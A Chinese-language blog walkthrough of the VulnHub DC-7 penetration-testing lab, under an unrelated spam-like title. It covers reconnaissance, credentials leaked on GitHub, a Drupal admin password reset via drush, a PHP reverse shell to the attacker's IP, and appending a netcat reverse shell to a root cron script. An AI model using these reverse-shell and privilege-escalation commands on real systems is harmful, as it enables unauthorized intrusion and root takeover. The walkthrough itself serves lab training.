前端工程师是干什么的_网络营销的工作岗位_百度推广客户端mac版_打开百度首页

🍬 博主介绍

👨‍🎓 博主介绍：大家好，我是 _PowerShell ，很高兴认识大家~
✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

一、 靶场搭建

1. 靶场描述

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

描述中说明了这个靶机中只存在一个flag。并且作者提醒了这个靶场渗透过程需要跳出常规思路，不要进行暴力破解登录。

2. 下载靶机环境

靶场源地址点击跳转，点击图中所在处下载靶场源文件。

下载下来的原文件如下

一般从网上下载的文件，可以使用检验下载文件的检验码，防止下载的文件被篡改或者部分缺失

# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 启动靶场环境

下载下来是虚拟机压缩文件，直接用Vmvare导入就行。然后调一下网络，建议调成NAT模式，桥接其实也行。具体操作步骤可以看我之前的文章，这里就不要截图详细介绍了。搭建完成之后显示如下。

二、渗透靶场

1. 确定目标

安装之后直接显示了靶机的ip为192.168.6.102

2. 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

# -p 指定端口范围 -A 表示查询端口服务、系统等信息
nmap -Ap 1-65535  192.168.6.102

确定开放端口:

• 22:ssh服务
• 80: http服务，并且由apache服务器启动

直接访问web服务

3. 目录扫描

靶机环境下，遇到web‘服务会先扫描一下网站的目录结构，其中可能会包含可以利用的文件或地址。这次我利用dirsearch工具进行网站的目录结构扫描。

# -u 指定目标url， -i指定需要展示的请求响应码
dirsearch -u http://192.168.1.12 -i 200,403

目录扫描之后发现/user/login/ 系统登录地址。

4. 社工信息收集

访问网站发现，根据靶场作者提示信息暴力登录肯定不行，然后靶机作者有提示需要用一个新奇的思路去攻克这个靶机。浏览网站页面内容的时候，查看到网站底部DC7USER，接下来尝试在谷歌浏览器进行搜索用户查询，在谷歌中查询到相关github用户信息。

进入github用户地址查看他的项目之后，发现这个项目确实是与这个靶机相关的仓库，可能有突破口。如果能找到项目的源代码一般思路是看有没有敏感信息泄露(配置文件)，二是进行代码审计，找出代码中可能存在的bug，加以利用。

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败，尝试进行ssh登录，发现直接登录成功。

5. 提权

5.1 SUID 提权

尝试SUID进行提权， 列出具有s标志的文件后，分析有没有可以利用的提权的命令，发现没有可利用的提权的文件，尝试使用其它的方式进行提权

# 查找设置suid标志的文件
find / -perm -u=s -type f 2>/dev/null

命令解释：

• find: linux上一个用于搜索文件和目录的命令
• / : 指定查找的其实目录
• -perm -u=s:
  • -perm: 用于查找具有特定权限的文件
  • -u=s: 查找具有用户（owner）设置用户 ID（setuid）位的文件。
• -type f: 指定只查找普通文件，不包括目录或其它类型的文件。
• 2>/dev/null: 这是一个重定向命令，将标准错误输出（错误信息）重定向到 /dev/null，即丢弃错误信息。

5.2 sudo提权

尝试使用sudo进行提权，发现没有sudo这个命令，肯定不能使用sudo提权了，提权失败。

# 分析是否可以sudo提权一般使用这个方式先进行验证，如果存在可以密码使用的命令，在加以利用
sudo -l

5.3 定时任务提权

发现账号经常受到mail提醒,查看mail信息，发现有个定时任务定时执行一个脚本，并且执行身份设置为root，发觉可以利用这个脚本进行提权。

查看对应脚本的权限信息，发现当前用户没有权限进行修改，需要用户组为www-data的用户才能进行修改，接下来得获取到www-data用户的shell才能进行提权。

一般www-data用户就是web服务的启动者，可以使用ps查看对应进程进行验证，发现web页面对应apache启动用户就是www-data.所以又得转到web页面去寻找利用点。

# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架，查看drush的文档发现可以直接更改用户的密码文档地址

```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

了解到drush命令使用之后，发现可以使用drush进行指定用户的密码直接设置，设置之后在web登录页面进行登录，登录成功。

# 更改admin的密码
drush user-password admin --password=admin

登录成功之后，进入后台管理，发现在新建内容可以新建Basic page，大概就是全局页面都会引入这个内容，遇到这种情况的常见利用手段就是： 向文本中添加反弹shell代码，获取主机的websehll权限。

但是新建内容的时候发现不能写php文件，百度搜索发现添加插件可以解决，发现在后台管理拓展处添加php相关插件，添加插件就可。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

拓展安装成功之后，需要在页面在这个页面启用php拓展才能在编辑网页处使用。

新建basic-content添加如下内容，点击发布,成功获取到反弹sehll

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>

# kali执行,接受到shell连接
nc -lvp 8888

一般通过反弹shell获取到shell权限，会创建一个伪终端来提高shell的交互性。

# 创建一个伪终端，提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后，就有权限修改backups.sh的内容，利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录，应该是15分钟执行一次。添加内容如下

echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

# 在攻击机kali中监听shell连接
nc -lvp 7777

接下来就是默默等待定时任务的执行了，等待一段时候之后成功获取到root的shell，在root的家目录下成功获取到目标flag。

相关资源

1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)
3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)
5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)
6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)
7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)
8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)